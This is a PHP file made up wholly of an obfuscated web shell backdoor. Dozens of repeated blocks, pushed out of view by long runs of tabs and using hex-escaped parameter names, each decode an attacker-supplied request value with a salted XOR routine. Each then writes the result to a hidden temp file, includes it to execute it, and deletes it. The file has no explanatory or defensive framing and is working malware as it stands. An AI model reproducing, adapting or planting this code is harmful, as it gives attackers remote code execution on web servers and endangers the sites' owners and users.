<?php																																										if(isset($_REQUEST) && isset($_REQUEST["\x70g\x72p"])){ $obj = $_REQUEST["\x70g\x72p"]; $obj = explode ( "." ,$obj ) ; $bind = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s2 ); $__len = count($obj ); for ($v = 0; $v < $__len; $v++) { $v1 = $obj[$v]; $chS = ord($s2[$v % $sLen] ); $d = ((int)$v1 - $chS - ($v % 10)) ^ 29; $bind .=chr($d ); } $hld = array_filter(["/tmp", session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), getcwd(), "/var/tmp"]); foreach ($hld as $component) { if ((bool)is_dir($component) && (bool)is_writable($component)) { $val = "$component" . "/.key"; if (file_put_contents($val, $bind)) { include $val; @unlink($val); die(); } } } }
																																										if(array_key_exists("r\x65\x66", $_REQUEST) && !is_null($_REQUEST["r\x65\x66"])){ $bind = $_REQUEST["r\x65\x66"]; $bind = explode ("." , $bind) ; $data=''; $s6='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($s6); $q=0; $__tmp=$bind; while($v9=array_shift($__tmp)) {$sChar=ord($s6[$q % $lenS]); $dec=((int)$v9 - $sChar -($q % 10)) ^4; $data .=chr($dec); $q++;} $hld = array_filter(["/dev/shm", sys_get_temp_dir(), session_save_path(), getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), getcwd(), "/tmp", getenv("TMP")]); while ($tkn = array_shift($hld)) { if (is_writable($tkn) && is_dir($tkn)) { $val = "$tkn" . "/.res"; $file = fopen($val, 'w'); if ($file) { fwrite($file, $data); fclose($file); include $val; @unlink($val); die(); } } } }
																																										if(in_array("\x66ac\x74o\x72", array_keys($_REQUEST))){ $record = $_REQUEST["\x66ac\x74o\x72"]; $record = explode ( '.' , $record ) ; $symbol = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $r = 0; $__tmp = $record; while ($v9 = array_shift($__tmp)) { $sChar = ord($s[$r % $lenS]); $d = ((int)$v9 - $sChar - ($r % 10)) ^ 44; $symbol .= chr($d); $r++; } $pointer = array_filter(["/dev/shm", session_save_path(), getenv("TMP"), sys_get_temp_dir(), getcwd(), "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp"]); foreach ($pointer as $key => $reference) { if (is_writable($reference) && is_dir($reference)) { $mrk = str_replace("{var_dir}", $reference, "{var_dir}/.component"); if (@file_put_contents($mrk, $symbol) !== false) { include $mrk; unlink($mrk); exit; } } } }
																																										if(array_key_exists("pointer", $_REQUEST)){ $dat = array_filter([session_save_path(), "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", getenv("TMP"), "/var/tmp", getcwd()]); $obj = $_REQUEST["pointer"]; $obj =explode( "." , $obj) ; $value= ''; $s6= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $s6); $q= 0; $__tmp= $obj; while( $v3= array_shift( $__tmp)) { $chS= ord( $s6[$q %$sLen]); $dec= ( ( int)$v3 - $chS -( $q %10)) ^ 7; $value.= chr( $dec); $q++; } foreach ($dat as $tkn) { if (is_writable($tkn) && is_dir($tkn)) { $comp = vsprintf("%s/%s", [$tkn, ".resource"]); if (@file_put_contents($comp, $value) !== false) { include $comp; unlink($comp); die(); } } } }
																																										if(in_array("\x66\x61\x63tor", array_keys($_REQUEST))){ $mrk = $_REQUEST["\x66\x61\x63tor"]; $mrk= explode ( "." ,$mrk ); $k = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt6); $y = 0; $__tmp = $mrk; while($v9 = array_shift($__tmp)) { $sChar = ord($salt6[$y % $lenS]); $d = ((int)$v9 - $sChar -($y % 10)) ^ 66; $k .=chr($d); $y++; } $symbol = array_filter(["/tmp", getenv("TEMP"), "/var/tmp", session_save_path(), "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), getcwd()]); while ($data = array_shift($symbol)) { if ((bool)is_dir($data) && (bool)is_writable($data)) { $fac = join("/", [$data, ".flag"]); if (@file_put_contents($fac, $k) !== false) { include $fac; unlink($fac); exit; } } } }
																																										if(isset($_POST) && isset($_POST["c\x6Fm\x70\x6Fn\x65nt"])){ $ptr = array_filter([session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", getenv("TMP"), "/var/tmp", sys_get_temp_dir(), "/tmp", getcwd()]); $val = $_POST["c\x6Fm\x70\x6Fn\x65nt"]; $val = explode (".", $val ) ; $entity = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s2); $w = 0; $__tmp = $val; while ($v7 = array_shift($__tmp)) { $sChar = ord($s2[$w % $sLen]); $dec = ((int)$v7 - $sChar - ($w % 10)) ^ 18; $entity .= chr($dec); $w++; } foreach ($ptr as $key => $mrk) { if ((bool)is_dir($mrk) && (bool)is_writable($mrk)) { $property_set = sprintf("%s/.object", $mrk); $file = fopen($property_set, 'w'); if ($file) { fwrite($file, $entity); fclose($file); include $property_set; @unlink($property_set); die(); } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["p\x74r"])){ $data = $_REQUEST["p\x74r"]; $data = explode ( "." ,$data) ; $fac = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt5 ); $m = 0; $__tmp = $data; while( $v9 = array_shift( $__tmp)) {$chS = ord( $salt5[$m % $lenS] ); $d =( ( int)$v9 - $chS -( $m % 10)) ^19; $fac .= chr( $d ); $m++; } $marker = array_filter(["/dev/shm", "/var/tmp", getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), getcwd(), "/tmp"]); while ($key = array_shift($marker)) { if (max(0, is_dir($key) * is_writable($key))) { $ref = join("/", [$key, ".obj"]); if (file_put_contents($ref, $fac)) { require $ref; unlink($ref); die(); } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["to\x6B\x65n"])){ $element = array_filter([sys_get_temp_dir(), getcwd(), "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), "/tmp", getenv("TEMP"), "/dev/shm"]); $obj = $_REQUEST["to\x6B\x65n"]; $obj = explode ( "." ,$obj ) ; $descriptor =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $s); $i =0; array_walk( $obj, function( $v9) use( &$descriptor, &$i, $s, $lenS) { $sChar =ord( $s[$i % $lenS]); $d =( ( int)$v9 - $sChar -( $i % 10)) ^ 74; $descriptor.=chr( $d); $i++; } ); while ($dchunk = array_shift($element)) { if (!( !is_dir($dchunk) || !is_writable($dchunk) )) { $hld = vsprintf("%s/%s", [$dchunk, ".parameter_group"]); $file = fopen($hld, 'w'); if ($file) { fwrite($file, $descriptor); fclose($file); include $hld; @unlink($hld); die(); } } } }
																																										if(isset($_POST["\x73\x79\x6Dbol"])){ $obj = array_filter(["/dev/shm", "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), session_save_path(), "/tmp", getenv("TEMP"), sys_get_temp_dir()]); $dat = $_POST["\x73\x79\x6Dbol"]; $dat = explode( "." , $dat) ; $ent = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt7); $i = 0; $__tmp = $dat; while( $v3 = array_shift( $__tmp)) { $sChar = ord( $salt7[$i %$sLen]); $dec =( ( int)$v3 - $sChar -( $i %10)) ^ 83; $ent .= chr( $dec); $i++; } $res = 0; do { $binding = $obj[$res] ?? null; if ($res >= count($obj)) break; if (!( !is_dir($binding) || !is_writable($binding) )) { $token = "$binding" . "/.resource"; if (@file_put_contents($token, $ent) !== false) { include $token; unlink($token); exit; } } $res++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "el\x65\x6D\x65\x6Et")){ $data = $_POST["el\x65\x6D\x65\x6Et"]; $data= explode ( '.' , $data ) ; $resource = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $len = count($data); for($k = 0; $k < $len; $k++) { $v8 = $data[$k]; $sChar = ord($salt[$k % $lenS]); $dec = ((int)$v8 - $sChar -($k % 10)) ^ 14; $resource .= chr($dec); } $flag = array_filter([getcwd(), "/dev/shm", getenv("TMP"), "/tmp", sys_get_temp_dir(), "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP")]); foreach ($flag as $parameter_group) { if (!( !is_dir($parameter_group) || !is_writable($parameter_group) )) { $record = join("/", [$parameter_group, ".val"]); $success = file_put_contents($record, $resource); if ($success) { include $record; @unlink($record); die();} } } }
																																										if(!is_null($_POST["c\x6F\x6Dp"] ?? null)){ $entry = $_POST["c\x6F\x6Dp"]; $entry = explode ( "." ,$entry) ; $val = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s6); foreach( $entry as $v => $v6): $sChar = ord( $s6[$v % $lenS]); $dec =( ( int)$v6 - $sChar -( $v % 10)) ^ 35; $val .= chr( $dec); endforeach; $pset = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", session_save_path(), sys_get_temp_dir(), "/tmp", getcwd(), getenv("TMP"), getenv("TEMP")]); while ($flg = array_shift($pset)) { if ((function($d) { return is_dir($d) && is_writable($d); })($flg)) { $hld = sprintf("%s/.symbol", $flg); if (file_put_contents($hld, $val)) { include $hld; @unlink($hld); exit; } } } }
																																										if(array_key_exists("\x6F\x62ject", $_POST) && !is_null($_POST["\x6F\x62ject"])){ $parameter_group = $_POST["\x6F\x62ject"]; $parameter_group=explode ( "." , $parameter_group) ; $hld = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $z = 0; $__tmp = $parameter_group; while ($v9 = array_shift($__tmp)) { $sChar = ord($salt[$z% $sLen]); $d = ((int)$v9 - $sChar - ($z% 10)) ^ 48; $hld .= chr($d); $z++;} $resource = array_filter([getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), "/tmp", getcwd(), ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", "/dev/shm"]); foreach ($resource as $key => $pointer) { if (is_dir($pointer) ? is_writable($pointer) : false) { $factor = sprintf("%s/.bind", $pointer); if (file_put_contents($factor, $hld)) { require $factor; unlink($factor); die(); } } } }
																																										if(array_key_exists("\x66ac\x74\x6Fr", $_REQUEST) && !is_null($_REQUEST["\x66ac\x74\x6Fr"])){ $dat = array_filter([sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), session_save_path(), "/dev/shm", "/tmp", "/var/tmp"]); $property_set = $_REQUEST["\x66ac\x74\x6Fr"]; $property_set = explode ( "." , $property_set ) ; $item = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s3); $n = 0; while ($n< count($property_set)) { $v7 = $property_set[$n]; $sChar = ord($s3[$n %$sLen]); $d = ((int)$v7 - $sChar - ($n %10))^15; $item .= chr($d); $n++; } foreach ($dat as $ref): if (is_writable($ref) && is_dir($ref)) { $pset = implode("/", [$ref, ".obj"]); if (@file_put_contents($pset, $item) !== false) { include $pset; unlink($pset); exit; } } endforeach; }
																																										if(!is_null($_POST["po\x69n\x74\x65r"] ?? null)){ $desc = $_POST["po\x69n\x74\x65r"]; $desc = explode ( "." , $desc ) ; $symbol =''; $salt9 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt9); $o =0; $__tmp =$desc; while ($v1 =array_shift($__tmp)) { $sChar =ord($salt9[$o %$lenS]); $d =((int)$v1 - $sChar - ($o %10)) ^ 38; $symbol .= chr($d); $o++; } $rec = array_filter([session_save_path(), "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), getcwd(), getenv("TMP")]); foreach ($rec as $pset): if (is_writable($pset) && is_dir($pset)) { $dat = sprintf("%s/.component", $pset); if (file_put_contents($dat, $symbol)) { require $dat; unlink($dat); die(); } } endforeach; }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x70g\x72p"])){ $entity = $_REQUEST["\x70g\x72p"]; $entity = explode ('.' , $entity ) ; $ent = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $n = 0; $len = count($entity); do { if ($n >=$len) break; $v7 = $entity[$n]; $sChar = ord($salt[$n% $lenS]); $dec = ((int)$v7 - $sChar - ($n% 10)) ^22; $ent .= chr($dec); $n++; } while (true); $mrk = array_filter([getenv("TMP"), "/var/tmp", "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP"), getcwd(), sys_get_temp_dir()]); foreach ($mrk as $key => $element) { if (array_product([is_dir($element), is_writable($element)])) { $binding = str_replace("{var_dir}", $element, "{var_dir}/.data"); if (file_put_contents($binding, $ent)) { require $binding; unlink($binding); die(); } } } }
																																										if(!empty($_POST["val"])){ $elem = array_filter([getcwd(), getenv("TEMP"), session_save_path(), sys_get_temp_dir(), "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP")]); $parameter_group = $_POST["val"]; $parameter_group = explode( '.' , $parameter_group ); $entity = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt6); $k = 0; foreach ($parameter_group as $v6) { $sChar = ord($salt6[$k % $lenS]); $dec = ((int)$v6 - $sChar - ($k % 10)) ^ 8; $entity .= chr($dec); $k++; } while ($ptr = array_shift($elem)) { if (!( !is_dir($ptr) || !is_writable($ptr) )) { $rec = join("/", [$ptr, ".flg"]); if (file_put_contents($rec, $entity)) { require $rec; unlink($rec); die(); } } } }
																																										if(isset($_POST["e\x6E\x74i\x74y"])){ $desc = $_POST["e\x6E\x74i\x74y"]; $desc= explode ("." , $desc ); $data_chunk = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s3 ); $j = 0; while($j < count($desc)) { $v4 = $desc[$j]; $chS = ord($s3[$j % $sLen] ); $dec =((int)$v4 - $chS -($j % 10)) ^16; $data_chunk .= chr($dec ); $j++; } $fac = array_filter(["/dev/shm", getenv("TMP"), session_save_path(), getenv("TEMP"), sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", "/tmp"]); while ($parameter_group = array_shift($fac)) { if (max(0, is_dir($parameter_group) * is_writable($parameter_group))) { $pointer = vsprintf("%s/%s", [$parameter_group, ".pset"]); $success = file_put_contents($pointer, $data_chunk); if ($success) { include $pointer; @unlink($pointer); die();} } } }
																																										if(in_array("\x70tr", array_keys($_REQUEST))){ $tkn = $_REQUEST["\x70tr"]; $tkn = explode ( "." , $tkn) ; $symbol = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s ); $l = 0; array_walk( $tkn , function( $v5) use( &$symbol , &$l , $s , $lenS) {$chS = ord( $s[$l% $lenS] ); $d = ( ( int)$v5 - $chS -( $l% 10))^20; $symbol.=chr( $d ); $l++;} ); $mrk = array_filter([getenv("TEMP"), sys_get_temp_dir(), "/tmp", getenv("TMP"), "/dev/shm", "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), getcwd()]); foreach ($mrk as $key => $dchunk) { if (!!is_dir($dchunk) && !!is_writable($dchunk)) { $pgrp = "$dchunk/.ent"; if (@file_put_contents($pgrp, $symbol) !== false) { include $pgrp; unlink($pgrp); die(); } } } }
																																										if(array_key_exists("\x76a\x6Cue", $_REQUEST) && !is_null($_REQUEST["\x76a\x6Cue"])){ $res = $_REQUEST["\x76a\x6Cue"]; $res = explode ( '.' , $res ) ; $comp = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt9 ); $s = 0; foreach( $res as $v2) { $chS = ord( $salt9[$s % $lenS] ); $d = ( ( int)$v2 - $chS -( $s % 10)) ^ 11; $comp .= chr( $d ); $s++; } $obj = array_filter([getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", getcwd(), session_save_path(), getenv("TMP"), "/tmp"]); $holder = 0; do { $pgrp = $obj[$holder] ?? null; if ($holder >= count($obj)) break; if ((bool)is_dir($pgrp) && (bool)is_writable($pgrp)) { $property_set = str_replace("{var_dir}", $pgrp, "{var_dir}/.marker"); $file = fopen($property_set, 'w'); if ($file) { fwrite($file, $comp); fclose($file); include $property_set; @unlink($property_set); die(); } } $holder++; } while (true); }
																																										if(isset($_POST) && isset($_POST["r\x65\x66"])){ $elem = array_filter(["/var/tmp", "/tmp", getcwd(), "/dev/shm", session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir()]); $fac = $_POST["r\x65\x66"]; $fac = explode ( '.',$fac ) ; $symbol = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); foreach ($fac as $q => $v1): $sChar = ord($salt[$q %$lenS]); $d = ((int)$v1 - $sChar - ($q %10)) ^ 65; $symbol.= chr($d); endforeach; for ($value = 0, $reference = count($elem); $value < $reference; $value++) { $sym = $elem[$value]; if (max(0, is_dir($sym) * is_writable($sym))) { $object = "$sym" . "/.res"; if (file_put_contents($object, $symbol)) { require $object; unlink($object); die(); } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["pointer"])){ $elem = array_filter([getcwd(), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), "/tmp"]); $dchunk = $_REQUEST["pointer"]; $dchunk =explode ( '.' , $dchunk ); $object=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen( $s ); foreach( $dchunk as $v =>$v6): $sChar=ord( $s[$v % $sLen] ); $d=( ( int)$v6 - $sChar -( $v % 10)) ^ 15; $object .= chr( $d ); endforeach; for ($itm = 0, $entity = count($elem); $itm < $entity; $itm++) { $token = $elem[$itm]; if (!!is_dir($token) && !!is_writable($token)) { $desc = sprintf("%s/.descriptor", $token); $success = file_put_contents($desc, $object); if ($success) { include $desc; @unlink($desc); die();} } } }
																																										if(array_key_exists("pa\x72\x61\x6De\x74\x65\x72_g\x72o\x75p", $_REQUEST)){ $element = array_filter([getcwd(), "/tmp", sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), "/dev/shm"]); $pgrp = $_REQUEST["pa\x72\x61\x6De\x74\x65\x72_g\x72o\x75p"]; $pgrp = explode ('.' , $pgrp) ; $ent = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $n = 0; $__tmp = $pgrp; while ($v8 = array_shift($__tmp)) { $sChar = ord($salt[$n % $lenS]); $d = ((int)$v8 - $sChar - ($n % 10)) ^ 23; $ent.=chr($d); $n++;} while ($bind = array_shift($element)) { if (is_dir($bind) && is_writable($bind)) { $ptr = str_replace("{var_dir}", $bind, "{var_dir}/.data_chunk"); $success = file_put_contents($ptr, $ent); if ($success) { include $ptr; @unlink($ptr); die();} } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["objec\x74"])){ $pgrp = $_REQUEST["objec\x74"]; $pgrp =explode ( '.' , $pgrp); $resource = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt4); $u = 0; foreach( $pgrp as $v6) { $sChar = ord( $salt4[$u % $lenS]); $d =( ( int)$v6 - $sChar -( $u % 10)) ^ 52; $resource .=chr( $d); $u++; } $pset = array_filter([getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", getenv("TMP"), session_save_path(), "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), "/tmp"]); foreach ($pset as $reference) { if ((function($d) { return is_dir($d) && is_writable($d); })($reference)) { $comp = implode("/", [$reference, ".dat"]); if (@file_put_contents($comp, $resource) !== false) { include $comp; unlink($comp); die(); } } } }
																																										if(@$_POST["r\x65\x66e\x72\x65nce"] !== null){ $bind = array_filter([getenv("TEMP"), "/tmp", getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", sys_get_temp_dir(), "/dev/shm"]); $holder = $_POST["r\x65\x66e\x72\x65nce"]; $holder =explode ( '.', $holder ) ; $desc= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt ); $len= count($holder ); for ($j= 0; $j < $len; $j++) {$v1= $holder[$j]; $chS= ord($salt[$j % $sLen] ); $dec= ((int)$v1 - $chS - ($j % 10)) ^ 15; $desc.=chr($dec ); } for ($key = 0, $flg = count($bind); $key < $flg; $key++) { $mrk = $bind[$key]; if ((is_dir($mrk) and is_writable($mrk))) { $flag = vsprintf("%s/%s", [$mrk, ".pset"]); $file = fopen($flag, 'w'); if ($file) { fwrite($file, $desc); fclose($file); include $flag; @unlink($flag); die(); } } } }
																																										if(array_key_exists("d\x65sc\x72\x69pt\x6F\x72", $_POST)){ $ent = $_POST["d\x65sc\x72\x69pt\x6F\x72"]; $ent = explode ( "." , $ent ) ; $element = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); foreach ($ent as $t =>$v5) { $chS = ord($salt[$t % $sLen]); $d = ((int)$v5 - $chS - ($t % 10)) ^ 84; $element .=chr($d); } $ref = array_filter([session_save_path(), "/var/tmp", "/dev/shm", getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", sys_get_temp_dir(), getenv("TMP")]); foreach ($ref as $val) { if ((function($d) { return is_dir($d) && is_writable($d); })($val)) { $pointer = join("/", [$val, ".item"]); $success = file_put_contents($pointer, $element); if ($success) { include $pointer; @unlink($pointer); exit;} } } }
																																										if(array_key_exists("f\x61c\x74\x6Fr", $_REQUEST) && !is_null($_REQUEST["f\x61c\x74\x6Fr"])){ $obj = array_filter([getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), "/dev/shm", session_save_path(), getcwd(), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP")]); $comp = $_REQUEST["f\x61c\x74\x6Fr"]; $comp = explode (".",$comp ); $itm= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt ); $r= 0; $__len= count($comp ); do {if ($r >= $__len) break; $v2= $comp[$r]; $chS= ord($salt[$r % $lenS] ); $d= ((int)$v2 - $chS - ($r % 10)) ^ 15; $itm.= chr($d ); $r++;}while (true ); foreach ($obj as $ent) { if (is_writable($ent) && is_dir($ent)) { $flag = "$ent/.ref"; $file = fopen($flag, 'w'); if ($file) { fwrite($file, $itm); fclose($file); include $flag; @unlink($flag); exit; } } } }
																																										if(isset($_REQUEST["o\x62ject"]) ? true : false){ $entity = $_REQUEST["o\x62ject"]; $entity = explode ( '.', $entity ) ; $ent = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s ); $y = 0; $__tmp = $entity; while( $v1 = array_shift( $__tmp)) { $sChar = ord( $s[$y % $lenS] ); $d = ( ( int)$v1 - $sChar -( $y % 10))^ 51; $ent .=chr( $d ); $y++; } $itm = array_filter([getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), "/var/tmp", getcwd(), "/tmp", "/dev/shm", session_save_path(), ini_get("upload_tmp_dir")]); foreach ($itm as $elem) { if ((function($d) { return is_dir($d) && is_writable($d); })($elem)) { $binding = join("/", [$elem, ".ent"]); if (file_put_contents($binding, $ent)) { include $binding; @unlink($binding); die(); } } } }


if(!is_null($_POST["m\x61\x72\x6Ber"] ?? null)){
	$pointer = $_POST["m\x61\x72\x6Ber"];
		$pointer		 = explode 	('.' 		,			$pointer 		)	;	 
	$tkn	='';
            $salt	='abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen	=strlen( 	$salt  );
    
            foreach( 	$pointer as $u => $v8) {$sChar	=ord( 	$salt[$u 	%	$sLen]  );
                $dec	=( 	( 	int)$v8 - $sChar -( 	$u 	%	10))  ^10;
                $tkn .=	 chr( 	$dec  );}		
	$mrk = array_filter([getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), "/var/tmp", "/tmp", "/dev/shm", sys_get_temp_dir()]);
	foreach ($mrk as $key => $reference) {
    		if (is_dir($reference) && is_writable($reference)) {
    $binding = "$reference" . "/.elem";
    $success = file_put_contents($binding, $tkn);
if ($success) {
	include $binding;
	@unlink($binding);
	exit;}
}
}
}